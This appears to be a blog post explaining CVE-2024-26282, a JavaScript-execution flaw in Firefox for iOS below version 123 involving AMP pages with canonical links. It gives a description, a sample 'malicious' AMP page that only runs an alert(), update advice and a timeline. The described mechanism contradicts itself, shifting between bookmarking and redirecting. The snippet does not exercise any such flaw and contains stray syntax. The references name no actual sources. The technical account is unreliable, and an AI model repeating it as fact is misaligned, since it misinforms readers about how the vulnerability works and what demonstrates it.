The recent discovery of a new exploit in Firefox for iOS has raised security concerns for mobile users. The vulnerability, known as CVE-2024-26282, allows an attacker to execute JavaScript code by using an AMP URL (Accelerated Mobile Pages) with a canonical element. This security flaw affects Firefox for iOS versions below 123. In this detailed post, we will discuss how this vulnerability works, its potential implications, and how to mitigate the risk.

Description of the Vulnerability

CVE-2024-26282 is a security exploit that, when successfully executed, can compromise the integrity of the affected Firefox for iOS browser by allowing an attacker to inject and execute JavaScript code. The attacker achieves this by carefully crafting an AMP URL containing a canonical element that refers to a non-AMP version of the same webpage. When visited, this AMP webpage is transformed into a bookmarked page (containing JavaScript code), which is then executed when the user opens the bookmark.

Code Snippet

The following code snippet demonstrates a simple example of how an attacker can craft a malicious AMP URL with a canonical element:

<!doctype html>
<html amp lang="en">
<head>
  <meta charset="utf-8">
  <script async src="https://cdn.ampproject.org/v.js"></script>;
  <link rel="canonical" href="https://example.com/non-amp-version">;
  <title>Malicious AMP Page</title>

  <!-- AMP Boilerplate -->
  <style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) s 1 normal both;-ms-animation:-amp-start 8s steps(1,end) s 1 normal both;animation:-amp-start 8s steps(1,end) s 1 normal both}@-webkit-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}</style></noscript>
  
  <!-- Malicious JavaScript code to be executed -->
  <script>
    (function(){
      alert("JavaScript Executed!");
    })();
  </script>
</head>
<body>
  <h1>Welcome to the Malicious AMP Page</h1>
</body>
</html>

Original References

1. The official disclosure of CVE-2024-26282 can be found at the CVE Project's official website.
2. Mozilla, the company behind Firefox, has addressed this vulnerability in their security advisory, which also provides instructions on how to update your browser.
3. A detailed technical explanation of the vulnerability is available on the researcher's blog post.

Exploit Details

An attacker can exploit CVE-2024-26282 by sending a malicious AMP URL to a potential victim. Once the victim visits the provided URL using Firefox for iOS, the canonical element redirects them to a non-AMP version of the same page containing the attacker's JavaScript code. The attacker's code will automatically execute when the victim opens the bookmarked page.

Mitigation

To protect yourself from this vulnerability, you should immediately update your Firefox for iOS application to the latest version (123 or above). This version contains a patch that resolves the security flaw by preventing the execution of JavaScript code in bookmarked pages. Regularly updating your browser and other applications on your device is essential to maintaining maximum security and reducing the risk of potential attacks.

Conclusion

CVE-2024-26282 is a severe vulnerability that has been addressed by Mozilla in the latest version of Firefox for iOS. By exploiting this security flaw, an attacker can inject and execute JavaScript code in the affected browser, potentially compromising user privacy and data. Firefox for iOS users should update their application to version 123 or above and remain vigilant for potential threats.

Timeline

Published on: 02/22/2024 15:15:08 UTC
Last modified on: 02/22/2024 19:07:27 UTC